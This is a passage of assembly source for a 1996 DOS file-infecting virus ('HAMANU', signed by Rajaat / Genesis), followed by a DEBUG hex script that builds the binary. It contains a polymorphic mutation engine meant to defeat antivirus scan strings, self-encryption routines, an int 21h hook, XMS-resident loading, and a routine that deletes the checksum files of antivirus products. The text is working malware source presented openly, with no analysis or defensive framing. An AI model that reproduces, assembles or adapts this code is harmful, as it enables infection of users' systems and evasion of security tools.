me, it works mov cx,3 ; fine call scroll_right call scroll_up call scroll_right mov cx,6 call scroll_down dec cx call scroll_left mov cx,1 call scroll_up call scroll_right inc cx call scroll_down inc cx call scroll_right inc cx inc cx call scroll_up dec cx dec cx call scroll_right mov cx,8 call scroll_down mov cx,4 call scroll_left call scroll_up dec cx call scroll_right mov cx,7 call scroll_down call scroll_left xor cx,cx call scroll_up ret ;=====( Movement from DIAMETRIC to MATRICIDE )================================= diametric_matricide: xor cx,cx call scroll_down mov cx,7 call scroll_right call scroll_up mov cx,3 call scroll_left inc cx call scroll_down call scroll_right mov cx,8 call scroll_up mov cx,3 call scroll_left push cx inc cx inc cx call scroll_down pop cx call scroll_left dec cx call scroll_up dec cx call scroll_left call scroll_down mov cx,5 call scroll_right inc cx call scroll_up mov cx,3 call scroll_left call scroll_down call scroll_left xor cx,cx call scroll_up ret ;=====( Transform Anagram )==================================================== make_anagram: lea di,anagram ; use a kind of priest-like lea si,anagram_key ; XOR routine to mutate from mov cx,anagram_key_len ; DIAMETRIC to MATRICIDE and make_loop: lodsb ; vice versa xor byte ptr cs:[di],al inc di loop make_loop ret ;=====( Put anagram on the screen )============================================ draw_anagram: lea si,anagram mov cx,anagram_key_len mov di,screen_middle+8 next_char: push di cld lodsb call draw_character pop di add di,16d loop next_char ret ;=====( Draw character on the screen )========================================= draw_character: push ax bx cx dx si di ds es xor ah,ah rol ax,3 mov dx,font_segment mov si,font_offset clc add si,ax adc dx,0 mov ds,dx mov ax,screen_segment mov es,ax mov cx,char_height next_row: lodsb push cx mov cx,char_width put_row: rol al,1 push ax mov ax,07dbh jc put_dot mov ax,0720 put_dot: stosw pop ax loop put_row pop cx add di,160d-(char_width shl 1) loop next_row pop es ds di si dx cx bx ax ret ;=====( Scroll character up )================================================== scroll_up: mov ax,601 scroll_vertical:f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ push cx ³ push bp ³ mov bx,char_height ³ shl cx,3 ³ add cx,4 ³ xor ch,ch ³ mov dx,cx ³ add dx,1807h ³ scroll_again: push ax bx ³ call wait_retrace ³ xor bx,bx ³ int 10 ³ pop bx ax ³ dec bx ³ jnz scroll_again ³ pop bp ³ pop cx ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ret ;=====( Scroll character down )================================================ scroll_down: mov ax,701 jmp scroll_vertical ;=====( Scroll character left )================================================ scroll_left: push cx scroll_left_1: mov si,2 xor di,di cld call scroll_horizontal loop scroll_left_1 pop cx ret ;=====( Scroll character right )=============================================== scroll_right: push cx scroll_right_1: mov si,(screen_top+(char_height*160d)) mov di,(screen_top+(char_height*160d))+2 std call scroll_horizontal loop scroll_right_1 pop cx ret ;=====( Scroll part )========================================================== scroll_horizontal: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ push cx ds es ³ mov cx,8 ³ scroll_horiz: call wait_retrace ³ push cx si di ³ mov ax,screen_segment ³ mov ds,ax ³ mov es,ax ³ mov cx,char_height*80d ³ rep movsw ³ pop di si ³ push si di ³ add di,char_height*160d*2 ³ add si,char_height*160d*2 ³ mov cx,char_height*80d ³ rep movsw ³ pop di si ³ pop cx ³ loop scroll_horiz ³ pop es ds cx ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ret ;=====( Wait a time )========================================================== wait_time: mov cx,80 ; wait 80h retraces wait_loop: call wait_retrace loop wait_loop ret ;=====( Wait for vertical retrace )============================================ wait_retrace: cli ; makes the animation go push ax dx ; smooth, but doesn't work in mov dx,03da ; a multitasking environment loop_retrace_1: in al,dx ; that controls the VGA port test al,8 ; registers jz loop_retrace_1 loop_retrace_2: in al,dx test al,8 jnz loop_retrace_2 pop dx ax ret ;=====( Anagram word and signature )=========================================== db '[' anagram equ $ db 'DIAMETRIC' ; mutating anagram db ' by Rajaat / Genesis]',0 ; guess who? ;=====( Anagram key )========================================================== anagram_key equ $ ; looks like priest, but this db 'D' xor 'M' ; is functional! db 'I' xor 'A' db 'A' xor 'T' db 'M' xor 'R' db 'E' xor 'I' db 'T' xor 'C' db 'R' xor 'I' db 'I' xor 'D' db 'C' xor 'E' anagram_key_len equ $-anagram_key ;=====( RTFM 1.2 )============================================================= ; ; Rajaats Tiny Flexible Mutator (RTFM) V1.2 (C) 1996 by Rajaat ; ; Purpose : making it impossible to use scan strings ; ; Input : ; DS:SI = piece of code to encrypt ; ES:SI = place of decryptor+encrypted code ; CX = length of code (include the mutator (mut_len)) ; BX = offset of decryptor in file ; AX = flag bits ; 0 = 1 do not use junk code ; Output : ; DS:DX = place of decryptor+encrypted code ; CX = length of encrypted code+decryptor ; BP = preserved ; Other registers might be trashed ; ; History : ; 1.0 initial version ; 1.1 the decrease counter can get an add or sub ; the increase pointer can get an add or sub ; added random byte operation with one register as trash function ; 1.2 more random register using opcodes ; more random trash opcodes ; j* $+2 ; xchg ; inc/dec combinations ; nesting of some trash functions ; mutating key ; bugs introduced, bad luck :) ;============================================================================== dos_get_time equ 2c dos_get_date equ 2a reg enum _ax,_cx,_dx,_bx,_sp,_bp,_si,_di seed dw 0 ; random seed count dw 0 ; count offset ofs dw 0 dest dw 0 mutate_key dw 0 recursion_depth db 0 ; recursion depth for ints indexbyte db 00000000b countbyte db 00000000b process db 00000000b ; bit 0 : 1 = count reg set ; 1 : 1 = index reg set ; 2 : 1 = no junk code decraddr dw 0 ; decrease address loopaddr dw 0 ; loop address opertab db 30,0,28 ; xor/add/sub table trash: cmc ; 1 byte trash opcodes, the clc ; most known stupid ones stc nop mutate: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ;=====( Initialise engine parameters )========================================³ ³ push bp ³ push ds ³ push es ³ push si ³ call mut_delta ³ mut_delta: pop bp ³ sub bp,offset mut_delta ³ mov byte ptr cs:[process][bp],0 ³ mov byte ptr cs:[indexbyte][bp],0 ³ mov byte ptr cs:[countbyte][bp],0 ³ mov byte ptr cs:[recursion_depth][bp],0 ³ mov word ptr cs:[count][bp],cx ³ mov word ptr cs:[ofs][bp],bx ³ mov word ptr cs:[dest][bp],di ³ test al,1 ; junk on? ³ jnz usejunk ³ or byte ptr cs:[process][bp],4 ; no, turn nojunk param on ³ usejunk: call rnd_init ; initialise randomizer ³ ³ ³ setaction: mov al,byte ptr cs:[process][bp] ³ and al,3 ³ cmp al,3 ³ jz setregsok ³ jmp setregs ³ ³ setregsok: call insert_trash ³ mov word ptr cs:[loopaddr][bp],di ³ mov ax,802e ; CS: ³ stosw ³ getoper: call rnd_get ³ and ax,3 ³ or al,al ³ jz getoper ³ mov bx,ax ³ add bx,bp ³ push ds ³ push cs ³ pop ds ³ lea si,opertab[bx-1] ³ lodsb ³ pop ds ³ mov byte ptr cs:[action][bp],al ³ cmp al,30 ³ jz noaddsubflip ³ xor byte ptr cs:[action][bp],28 ³ noaddsubflip: add al,byte ptr cs:[indexbyte][bp] ³ test al,4 ³ jnz toomuch ³ xor al,6 ³ toomuch: xor al,2 ³ stosb ³ call rnd_get ³ mov word ptr cs:[mutate_key][bp],di ³ stosb ³ push ax ³ call insert_trash ³ call rnd_get ³ test al,8 ³ jnz ptr_first ³ call mutate_encrypt ³ call ptr_action ³ jmp makecount ³ ptr_first: call ptr_action ³ call mutate_encrypt ³ jmp makecount ³ ³ ;=====( Generate pointer register modifier )==================================³ ³ ptr_action: call rnd_get ³ test al,1 ³ jnz ptrinc ³ test al,2 ³ jnz ptrsub ³ mov ax,0c083 ; add , 1 ³ add ah,byte ptr cs:[indexbyte][bp] ³ stosw ³ mov al,01 ³ stosb ³ ret ³ ptrsub: mov ax,0e883 ; sub , -1 ³ add ah,byte ptr cs:[indexbyte][bp] ³ stosw ³ mov al,0ffh ³ stosb ³ ret ³ ptrinc: mov al,40 ; inc ³ add al,byte ptr cs:[indexbyte][bp] ³ stosb ³ ret ³ ³ ;=====( Mutate encryption byte )==============================================³ ³ mutate_encrypt: mov ax,802e ; CS: ³ stosw ³ call rnd_get ³ mov al,6 ³ test ah,1 ³ jnz mut_1 ³ add al,28 ³ mut_1: stosb ³ xor al,06h ³ mov byte ptr cs:[mut][bp],al ³ mov ax,word ptr cs:[mutate_key][bp] ³ sub ax,word ptr cs:[dest][bp] ³ add ax,word ptr cs:[ofs][bp] ³ stosw ³ call rnd_get ³ stosb ³ mov byte ptr cs:[mutate_key][bp],al ³ ret ³ ³ ;=====( Manipulate Count register )===========================================³ ³ makecount: call insert_trash ³ call rnd_get ³ test al,1 ³ jnz countdec ³ test al,2 ³ jnz countsub ³ mov ax,0c083 ; add , -1 ³ add ah,byte ptr cs:[countbyte][bp] ³ stosw ³ mov al,0ff ³ stosb ³ jmp makeloop ³ countsub: mov ax,0e883 ; sub , 1 ³ add ah,byte ptr cs:[countbyte][bp] ³ stosw ³ mov al,01 ³ stosb ³ jmp makeloop ³ countdec: mov al,48 ; dec ³ add al,byte ptr cs:[countbyte][bp] ³ stosb ³ ³ ;=====( Make repeat opcode )==================================================³ ³ makeloop: mov al,75 ; jnz ³ stosb ³ mov ax,word ptr cs:[loopaddr][bp] ³ sub ax,di ³ dec ax ³ stosb ³ call insert_trash ³ mov ax,di ³ sub ax,word ptr cs:[dest][bp] ³ add ax,word ptr cs:[ofs][bp] ³ push di ³ mov di,word ptr cs:[decraddr][bp] ³ stosw ³ pop di ³ pop ax ³ xchg al,ah ³ pop si ³ mov cx,word ptr cs:[count][bp] ³ mov bl,byte ptr cs:[mutate_key][bp] ³ encrypt: lodsb ³ action equ $ ³ db 0,0e0 ³ mut equ $ ³ db 0,0dch ³ stosb ³ loop encrypt ³ test byte ptr cs:[process][bp],4 ³ jz no_garbage ³ call rnd_get ³ and ax,07f ³ mov cx,ax ³ end_trash: call rnd_get ³ stosw ³ loop end_trash ³ no_garbage: mov cx,di ³ mov dx,word ptr cs:[dest][bp] ³ sub cx,dx ³ pop es ³ pop ds ³ pop bp ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ret setregs: call insert_trash call rnd_get test al,1 jnz firstcount testflag byte ptr cs:[process][bp],2 jnz return setflag byte ptr cs:[process][bp],2 call set_index jmp setaction firstcount: testflag byte ptr cs:[process][bp],1 jnz return setflag byte ptr cs:[process][bp],1 call set_count return: jmp setaction ;=====( Set decryption pointer register )====================================== set_index: call rnd_get and al,1 or al,6 test ah,1 jz nobx mov al,_bx nobx: cmp al,byte ptr cs:[countbyte][bp] jz set_index mov byte ptr cs:[indexbyte][bp],al add al,0b8 ; mov ,pointer stosb mov word ptr cs:[decraddr][bp],di jmp store ;=====( Set decryption counter register )====================================== set_count: call rnd_get and al,7 cmp al,byte ptr cs:[indexbyte][bp] jz set_count cmp al,_sp jz set_count mov byte ptr cs:[countbyte][bp],al add al,0b8 ; mov ,counter stosb mov ax,word ptr cs:[count][bp] jmp store ;=====( Trash code generator )================================================= insert_trash: test byte ptr cs:[process][bp],4 jnz trasher ret trasher: call rnd_get test ah,8 jz no_int_trash inc byte ptr cs:[recursion_depth][bp] cmp byte ptr cs:[recursion_depth][bp],2 ja recurse_bad ; too much ints recursive ;=====( Generate fake int opcode with recursive trash )======================== call rnd_get and ax,7 shl ax,1 push bx si mov si,ax mov bx,word ptr cs:[int_table_ptr][si+bp] mov al,50 ; push ax stosb push bx call trasher ; random trash code pop bx mov ah,bl mov al,0b4 ; mov ah, stosw call rnd_get test ax,1 jz no_trash mov al,50 ; push ax stosb push bx call trasher ; random trash code pop bx mov al,58 ; pop ax stosb no_trash: mov ah,bh mov al,0cdh ; int stosw call trasher ; random trash code mov al,58 ; pop ax stosb pop si bx dec byte ptr cs:[recursion_depth][bp] recurse_bad: ret ;=====( Regular trash code generator )========================================= no_int_trash: test ah,1 jnz specialtrash and ax,3 or ax,ax jz trash_done mov cx,ax more_trash: call rnd_get and ax,3 lea bx,trash[bp] add bx,ax mov al,byte ptr cs:[bx] stosb loop more_trash specialtrash: call rnd_get mov bx,ax and bx,0fh call rnd_get and al,7 cmp bx,7 ja specialtrash cmp al,_sp jz specialtrash cmp al,byte ptr cs:[indexbyte][bp] je specialtrash cmp al,byte ptr cs:[countbyte][bp] je specialtrash dec bx js do_xchg_same jz do_jump dec bx jz do_inc_dec dec bx jz do_push_pop dec bx jz domov dec bx jz doinc dec bx jz dodec mov al,083 stosb regtrash: call rnd_get mov ah,al and al,7 cmp al,_sp jz regtrash cmp al,byte ptr cs:[indexbyte][bp] jz regtrash cmp al,byte ptr cs:[countbyte][bp] jz regtrash mov al,ah or al,0c0 stosb call rnd_get stosb trash_done: ret dodec: add al,8 doinc: add al,40 stosb ret ;=====( Generate MOV ,value opcode )====================================== domov: add al,0b8 storeit: stosb call rnd_get jmp store ;=====( Generate 2 times XCHG , opcode )=========================== do_xchg_same: call rnd_get and al,7 cmp al,4 je do_xchg_same mov ah,al add ax,9090 jmp store ;=====( Generate conditional jump to next opcode )============================= do_jump: call rnd_get and ax,0f add ax,70h jmp store ;=====( Generate INC/DEC opcode )======================================== do_inc_dec: call rnd_get and al,7 cmp al,4 je do_inc_dec test ah,1 pushf mov ah,al add ax,4048 popf jz store xchg ah,al store: stosw ret ;=====( Generate PUSH/POP opcode with recursive trash code )============= do_push_pop: call rnd_get and al,7 cmp al,4 je do_inc_dec add al,50 stosb push ax call trasher ; recursive trash routine pop ax add al,8 stosb ret ;=====( Initialise randomizer )================================================ rnd_init: mov ah,dos_get_time call dos xor cx,dx adc word ptr cs:[seed][bp],cx mov ah,dos_get_date call dos mov cl,al rcr dx,cl not dx xor dx,cx sbb word ptr cs:[seed][bp],dx ret ;=====( Get a random value in AX )============================================= rnd_get: push bx cx dx call rnd_init mov bx,word ptr cs:[seed][bp] in al,40 xchg ah,al in al,40 xor ax,bx sbb ax,bx ror ax,1 adc word ptr cs:[seed][bp],ax pop dx cx bx ret ;=====( Table of interrupts and functions to use )============================= int_table_ptr equ $ ; , db 54,21 ; 0 ; push ax db 02,16 ; 1 ; ---> trash db 02,15 ; 2 ; mov ah, db 2,17 ; 3 ; ---> trash db 0bh,21 ; 4 ; int db 0dh,21 ; 5 ; ---> trash db 19,21 ; 6 ; pop ax db 02,16 ; 7 ; db '[RTFM]' ; polymorphic engine signature ;=====( Filenames of checksum files to be deleted )============================ Checksum_File_Names equ $ db 'ANTI-VIR.DAT',0 db 'AVP.CRC',0 db 'CHKLIST.CPS',0 db 'CHKLIST.MS',0 db 'CHKLIST.TAV',0 db 'CRC.SVS',0 db 'FILES.VVL',0 db 'FINGERP.VVF',0 db 'IM.PRM',0 db 'IVB.INI',0 db 'IVB.NTZ',0 db 'MSAV.CHK',0 db 'SMARTCHK.CPS',0 db '\AV.CRC',0 db '\BOOT.CPS',0 db '\BOOT.MS',0 db '\BOOT.NTZ',0 db '\BOOT.TAV',0 db '\IV.INI',0 db '\PART.NTZ',0 db 0 ;=====( Delete checksum files of antivirus programs )========================== Delete_Checksum_Files: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ push bx cx dx si ds ³ push cs ³ pop ds ³ lea si,Checksum_File_Names ³ Delete_Next_File: ³ mov dx,si ³ mov ax,4301 ³ xor cx,cx ³ call dos ³ jc Next_Checksum_File ³ mov ah,41 ³ call dos ³ Next_Checksum_File: ³ lodsb ³ or al,al ³ jnz Next_Checksum_File ³ cmp byte ptr [si],0 ³ jnz Delete_Next_File ³ pop ds si dx cx bx ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ret ;=====( FlexCrypt(tm) System - Decrypt part )================================== flex_decrypt: push bp mov bp,sp push ax bx si ds push cs pop ds mov si,word ptr ss:[bp+2] mov ax,word ptr [si] xor ax,start_marker xchg ax,bx next_decrypt: mov ax,word ptr [si] xor al,bl mov word ptr [si],ax inc si cmp ax,end_marker jne next_decrypt xchg si,ax decrypt_done: call get_decrypt_delta get_decrypt_delta: pop si sub si,offset get_decrypt_delta mov word ptr flex_return[si],ax lea ax,flex_encrypt[si] xchg ax,word ptr ss:[bp+2] mov word ptr flex_word[si],ax add ax,2 xchg ax,word ptr ss:[bp] xchg bp,ax pop ds si bx ax ret flex_word dw 0 flex_return dw 0 ;=====( FlexCrypt(tm) System - Encrypt part )================================== flex_encrypt: push bp mov bp,sp push ax bx cx si ds xor ax,ax mov ds,ax mov bx,word ptr ds:[46c] push cs pop ds call get_encrypt_delta get_encrypt_delta: pop si sub si,offset get_encrypt_delta mov cx,word ptr flex_word[si] dec cx mov si,word ptr flex_return[si] push si dec si next_encrypt: mov ax,word ptr [si] xor al,bl mov word ptr [si],ax dec si cmp si,cx jne next_encrypt encrypt_done: pop si inc si xchg si,word ptr ss:[bp] xchg bp,si pop ds si cx bx ax ret ;=====( Swap to XMS )========================================================== not_executable: push cs pop ds mov ah,9 ; get memory mov dx,(virus_bytes / 400) + 1 ; amount in kilobytes call dword ptr cs:[xms_api] mov ah,0bh lea si,emm_block_write ; move virus mov cs:write_handle,dx call dword ptr cs:[xms_api] les di,dword ptr cs:[loader_ofs] mov word ptr es:[di],dx push cs pop es ;=====( Wipe virus from video memory )========================================= mov ax,0720 ; standard color lea di,read_swap mov cx,wipeout_len shr 1 cld rep stosw lea di,virus mov cx,(offset wipeout-offset virus) shr 1 wipeout: rep stosw ;=====( Execute original DOS function )======================================== pop es ds popa popf mov ax,0 ; function here ax_function equ word ptr $-2 retf ;=====( Portion of code loaded in FCB space )================================== read_swap: new_handle dw 0 pushf pusha call decrypt_loader encrypted_loader: push ds es mov ax,0bc00 mov es,ax xor bx,bx cmp word ptr es:[bx],00e8 ; <- BUG, I don't care je open_error ; no reload mov ah,0f int 10 cmp al,4 jb read_xms mov bx,sp ; wrong video mode mov word ptr ss:[bx+14],offset video ; return to video label jmp open_error read_xms: call delta delta: pop bp sub bp,offset delta push cs pop ds mov ax,4310 ; get xms api int 2f mov ds:xms_api[bp],bx mov ds:xms_api+2[bp],es mov ah,0bh mov dx,word ptr cs:[new_handle][bp] lea si,emm_block_read[bp] ; move virus mov word ptr cs:[read_handle][bp],dx call dword ptr cs:[xms_api][bp] mov ah,0a ; free memory call dword ptr cs:[xms_api][bp] open_error: pop es ds in ax,40 mov cs:encrypted_loader_value[bp],ax lea si,encrypted_loader[bp] call encrypt_loader encrypted_loader_length = $-encrypted_loader popa popf retf ;=====( Decrypt and encrypt XMS loader )======================================= decrypt_loader: pop si push si encrypt_loader: mov cx,encrypted_loader_length mov ax,0 encrypted_loader_value equ word ptr $-2 decrypt_loader_loop: xor cs:[si],al add al,ah xor ah,al inc si loop decrypt_loader_loop ret ;=====( EMM block for accessing XMS )========================================== emm_block_read: dw (virus_bytes or 1)+1,0 ; amount to move read_handle: dw 0 ; source handle dw 0,0 ; source pointer (empty) dw 0 ; destination handle (empty) dw 0,0bc00 ; destination pointer loader = $-read_swap ;=====( Capture int 21h after program terminate )============================== init_21: push ax bx mov ah,0f int 10 cmp al,3 ja no_mem call patch_int_21_back no_mem: pop bx ax db 0ea saved_22_ofs dw ? saved_22_seg dw ? ;=====( Data used by the virus )=============================================== xms_api dw 0,0 loader_len equ $-virus loader_ofs dw 0 loader_seg dw 0 old_24_ptr dw 0,0 old_2a_ptr dw 0,0 old_21_ptr dw 0,0 old_21_bytes db 5 dup (?) ;=====( Declarations )========================================================= wipeout_len = $-read_swap virus_end = $ virus_bytes = $-virus virus_paras = (($-virus)/10)+1 virus_sectors = (($-virus)/200)+1 ;=====( exe header structure )================================================= EXE_HEADER STRUC EH_signature dw ? ; MZ signature EH_part_page dw ? ; partial page EH_page_count dw ? ; page count EH_reloc_count dw ? ; relocation items count EH_header_size dw ? ; header size EH_min_memory dw ? ; minimum required memory EH_max_memory dw ? ; maximum required memory EH_reloc_ss dw ? ; relative SS EH_exe_sp dw ? ; SP offset EH_checksum dw ? ; checksum (used by virus) EH_exe_ip dw ? ; IP offset EH_reloc_cs dw ? ; relative CS EH_table_offset dw ? ; table offset EH_overlays dw ? ; overlay count EH_buffer db 28 dup (?) ; buffer used by virus EXE_HEADER ENDS ;============================================================================== end virus ;=[END HAMANU.ASM]=========================================================== ;=[BEGIN HAMANU.SCR]========================================================= N HAMANU.COM E 0100 50 4B 0E 2B ED 17 8B F4 E8 10 00 BD AF FE 8B E6 E 0110 16 0B ED 74 F6 81 ED 0C 01 EB 0A 5C 44 8B FC 44 E 0120 44 57 4F FF E7 E8 0D 0C 2B 2B B8 18 05 BF 4D 4A E 0130 33 C7 BE 47 46 33 C6 C3 2D 2D 2E 80 B6 41 01 5C E 0140 17 90 86 FB 32 FF 40 3C 17 75 F6 E8 E7 0B 2B 2B E 0150 2E C6 86 41 01 90 2E C6 86 7B 02 04 B8 00 DB CD E 0160 21 0A C0 74 06 2E C6 86 7B 02 02 B8 00 3D 8D 96 E 0170 72 02 CD 21 72 0A 93 B4 3E CD 21 2E FE 8E 7B 02 E 0180 C3 2D 2D 2E 80 BE 7B 02 01 74 22 E8 A7 0B 2B 2B E 0190 B4 52 CD 21 26 C4 7F 1A 2E 8C 86 A7 0E 06 B8 22 E 01A0 35 CD 21 8C C0 5B C3 2D 2D 3B C3 75 3B E8 85 0B E 01B0 2B 2B B4 51 CD 21 8E C3 8E DB 83 C3 10 8B CB 2E E 01C0 03 8E E4 01 2E 03 9E E0 01 C3 2D 2D 58 33 C0 FA E 01D0 8E D1 2E 8B A6 E6 01 FB 53 2E 8B 9E E2 01 53 CB E 01E0 F0 FF 00 00 F0 FF 00 10 B8 00 43 CD 2F 3C 80 75 E 01F0 BC 8E C3 26 8B 4D 04 83 F9 04 72 B1 E8 36 0B 2B E 0200 2B 83 E9 03 B8 3B 00 26 89 4D 04 F6 E1 05 06 00 E 0210 8B F8 0E 1F 89 BE A5 0E 8D B6 F9 0D B9 94 00 FC E 0220 F3 A4 B8 21 35 CD 21 89 9E B1 0E 8C 86 B3 0E C3 E 0230 2D 2D 53 1E 06 2E 80 BE 7B 02 02 74 3F B4 34 CD E 0240 21 87 DE 06 1F BA 90 90 8B CA AD 4E 2B C2 E0 FA E 0250 56 8B 44 07 96 AD 93 AD 50 07 26 80 3F FA 5E 74 E 0260 04 E3 19 E2 E5 89 9E B1 0E 8C 86 B3 0E 58 1F 58 E 0270 EB 0D 54 42 44 52 56 58 58 58 00 00 07 1F 5B E8 E 0280 B3 0A 2B 2B 53 06 B8 10 43 CD 2F 0E 1F 2E 89 9E E 0290 A1 0E 2E 8C 86 A3 0E 8D B6 00 01 3E 89 B6 F4 02 E 02A0 3E 8C 8E F6 02 8D B6 EE 02 B4 0B 2E FF 9E A1 0E E 02B0 3E 8E 86 FC 02 1F 5B C3 2D 2D E8 78 0A 2B 2B BF E 02C0 B5 0E 8A 07 AA 8B 47 01 AB 8B 47 03 AB B4 62 CD E 02D0 21 8E DB B8 8D 0E 87 06 0A 00 26 A3 9D 0E 8C C0 E 02E0 87 06 0C 00 26 A3 9F 0E C3 2D 2D E9 BF FE BC 0D E 02F0 00 00 00 00 00 00 00 00 00 00 00 01 F0 BB 9C 60 E 0300 06 FC 2E C4 3E B1 0E 2E A0 B5 0E AA 2E A1 B6 0E E 0310 AB 2E A1 B8 0E AB 07 61 9D 3D 00 4B 74 31 80 FC E 0320 3D 74 2C 80 FC 43 74 27 E8 1D 00 E8 03 00 CA 02 E 0330 00 50 57 06 2E C4 3E B1 0E FC B0 EA AA B8 FE 02 E 0340 AB 8C C8 AB 07 5F 58 C3 9C 2E FF 1E B1 0E C3 2E E 0350 A3 F6 0D B8 2B 03 0E 50 9C 2E A1 A7 0E 50 2E A1 E 0360 A5 0E 40 40 50 2E A1 B3 0E 50 2E A1 B1 0E 50 9C E 0370 60 1E 06 FC 8B F2 8B FA AC 0A C0 74 0B 3C 5C 75 E 0380 F7 8B FE EB F3 E9 30 0A 8B 44 FC 0D 20 20 3D 65 E 0390 78 74 07 3D 63 6F 75 ED B0 6D 8A 64 FE 80 CC 20 E 03A0 3A E0 75 E1 33 DB BE 1C 06 1E 07 0E 1F AD 0B C0 E 03B0 74 08 26 3B 05 75 F6 83 CB 01 B9 08 00 26 8A 05 E 03C0 3C 30 72 07 3C 39 77 03 83 CB 01 47 E2 EF 1E 33 E 03D0 C0 8E D8 A1 6C 04 1F 2E 8B 16 4E 06 2B C2 3D 36 E 03E0 00 73 03 83 CB 01 0B DB 74 03 E9 CB 09 E8 45 09 E 03F0 2B 2B B8 24 35 E8 50 FF 89 1E A9 0E 8C 06 AB 0E E 0400 B0 2A E8 43 FF 89 1E AD 0E 8C 06 AF 0E B4 25 0E E 0410 1F BA 54 06 E8 31 FF B0 24 E8 2C FF C3 2D 2D 07 E 0420 1F 61 9D 9C 60 1E 06 52 1E B8 00 43 E8 19 FF 51 E 0430 33 C9 B8 01 43 50 E8 0F FF 73 03 E9 9D 01 B8 82 E 0440 3D E8 04 FF 72 F5 93 B4 45 E8 FC FE 72 ED 50 B4 E 0450 3E E8 F4 FE 5B B8 00 57 E8 ED FE 51 52 B4 2A E8 E 0460 E6 FE 81 E9 BC 07 C1 E1 09 8B C2 81 E2 00 FF C1 E 0470 EA 03 0B D0 0B D1 59 51 81 E1 F8 01 81 E2 F8 01 E 0480 3B CA 74 1D 0E 1F B4 3F BA BA 0E B9 44 00 E8 B7 E 0490 FE 81 3E BA 0E 5A 4D 74 0B 81 3E BA 0E 4D 5A 74 E 04A0 03 E9 19 01 81 3E CC 0E 47 52 74 F5 83 3E D4 0E E 04B0 00 75 EE 83 3E D2 0E 40 73 E7 FF 36 D0 0E 8F 06 E 04C0 E0 01 FF 36 CE 0E 8F 06 E2 01 FF 36 C8 0E 8F 06 E 04D0 E4 01 FF 36 CA 0E 8F 06 E6 01 B8 02 42 33 C9 99 E 04E0 E8 65 FE 50 52 50 B9 00 02 F7 F1 0B D2 74 01 40 E 04F0 3B 06 BE 0E 75 08 3B 16 BC 0E 75 02 EB 04 58 E9 E 0500 B9 00 0E 07 BE 00 01 BF BA 10 B9 BA 0D 58 53 93 E 0510 83 E3 0F 33 C0 E8 7A 03 5B B4 40 E8 2A FE 5A 58 E 0520 E8 12 08 2B 2B B9 10 00 F7 F1 2B 06 C2 0E A3 D0 E 0530 0E 48 A3 C8 0E 89 16 CE 0E C7 06 CA 0E 3C 0F C7 E 0540 06 CC 0E 47 52 81 06 C4 0E DC 00 C3 2D 2D E8 E4 E 0550 07 2B 2B B8 02 42 33 C9 99 E8 EC FD B9 00 02 F7 E 0560 F1 0B D2 74 01 40 89 16 BC 0E A3 BE 0E C3 2D 2D E 0570 E8 C2 07 2B 2B B8 00 42 33 C9 99 E8 CA FD B4 40 E 0580 BA BA 0E B9 44 00 E8 BF FD C3 2D 2D E8 A6 07 2B E 0590 2B 1E 33 C0 8E D8 A1 6C 04 1F A3 4E 06 C3 2D 2D E 05A0 E8 5F 07 B4 2A E8 A0 FD 81 FA 10 05 75 0F E8 56 E 05B0 06 3D 00 10 77 07 E8 9C 00 EB 02 5A 58 B8 01 57 E 05C0 5A 59 E8 83 FD C1 EA 06 83 E2 03 8B F2 2E 8A 84 E 05D0 50 06 2E A2 03 01 B4 3E E8 6D FD 58 59 1F 5A E8 E 05E0 66 FD E8 50 07 2B 2B B8 24 25 2E 8B 16 A9 0E 2E E 05F0 8E 1E AB 0E E8 51 FD B0 2A 2E 8B 16 AD 0E 2E 8E E 0600 1E AF 0E E8 42 FD C3 2D 2D E9 AC 07 BC 0D 00 00 E 0610 00 00 00 00 00 BC 00 00 00 00 00 00 2D 56 41 44 E 0620 41 49 41 56 43 50 44 52 46 2D 46 49 47 55 49 4D E 0630 49 56 4D 53 4E 41 50 43 53 43 53 50 53 53 53 56 E 0640 54 42 54 4F 56 2D 56 41 56 53 57 45 00 00 00 00 E 0650 29 2B 31 33 CF 60 1E 06 0E 0E 1F 07 B8 00 06 33 E 0660 C9 BA 50 19 B3 0F CD 10 E8 07 00 E8 C6 01 07 1F E 0670 61 C3 E8 C6 00 E8 D4 00 E8 B9 01 2E 80 3E 51 08 E 0680 44 74 04 E8 05 00 C3 E8 59 00 C3 33 C9 E8 48 01 E 0690 B9 03 00 E8 55 01 E8 10 01 E8 4F 01 B9 06 00 E8 E 06A0 36 01 49 E8 37 01 B9 01 00 E8 FD 00 E8 3C 01 41 E 06B0 E8 25 01 41 E8 34 01 41 41 E8 ED 00 49 49 E8 2A E 06C0 01 B9 08 00 E8 11 01 B9 04 00 E8 10 01 E8 D9 00 E 06D0 49 E8 17 01 B9 07 00 E8 FE 00 E8 00 01 33 C9 E8 E 06E0 C7 00 C3 33 C9 E8 F0 00 B9 07 00 E8 FD 00 E8 B8 E 06F0 00 B9 03 00 E8 E6 00 41 E8 DD 00 E8 ED 00 B9 08 E 0700 00 E8 A5 00 B9 03 00 E8 D3 00 51 41 41 E8 C8 00 E 0710 59 E8 C9 00 49 E8 91 00 49 E8 C1 00 E8 B9 00 B9 E 0720 05 00 E8 C6 00 41 E8 80 00 B9 03 00 E8 AE 00 E8 E 0730 A6 00 E8 A8 00 33 C9 E8 6F 00 C3 BF 51 08 BE 70 E 0740 08 B9 09 00 AC 2E 30 05 47 E2 F9 C3 BE 51 08 B9 E 0750 09 00 BF 08 05 57 FC AC E8 07 00 5F 83 C7 10 E2 E 0760 F4 